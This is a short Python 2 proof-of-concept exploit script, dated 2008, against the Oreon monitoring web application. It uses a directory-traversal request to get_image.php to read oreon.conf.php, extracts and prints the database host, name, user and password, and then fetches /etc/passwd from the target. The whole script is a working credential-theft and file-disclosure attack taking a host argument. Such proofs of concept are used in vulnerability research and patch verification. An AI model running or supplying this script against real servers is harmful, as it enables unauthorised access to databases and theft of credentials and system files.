#!/usr/bin/python # Date : 20/01/2008 # Author : Julien CAYSSOL import sys, urllib2,re user_agent = 'Mozilla/6.0 (compatible; MSIE 6.0; Windows NT)' headers = { 'User-Agent' : user_agent , 'Accept-Charset' : 'ISO-8859-15' } if __name__ == "__main__": if len(sys.argv)==2: host = sys.argv[1] print " [+] Host : " + host url = "http://"+sys.argv[1]+"/include/doc/get_image.php?lang=&img=../../www/oreon.conf.php" req = urllib2.Request(url, None, headers) html = urllib2.urlopen(req).read() html = re.sub('\n','',html) ident =re.findall('\$conf_oreon\[\'host\'\] = "(.*?)";\$conf_oreon\[\'user\'\] = "(.*?)";\$conf_oreon\[\'password\'\] = "(.*?)";\$conf_oreon\[\'db\'\] = "(.*?)";',html) print " [*] Result : " print " + DB Host : "+ident[0][0] print " + DB Name : "+ident[0][3] print " + DB user : "+ident[0][1] print " + DB pass : "+ident[0][2] print " [*] /etc/passwd for Fun" url = "http://"+sys.argv[1]+"/include/doc/get_image.php?lang=&img=../../../../../etc/passwd" req = urllib2.Request(url, None, headers) html = urllib2.urlopen(req).read() print html else: print "./Poc.py HOST"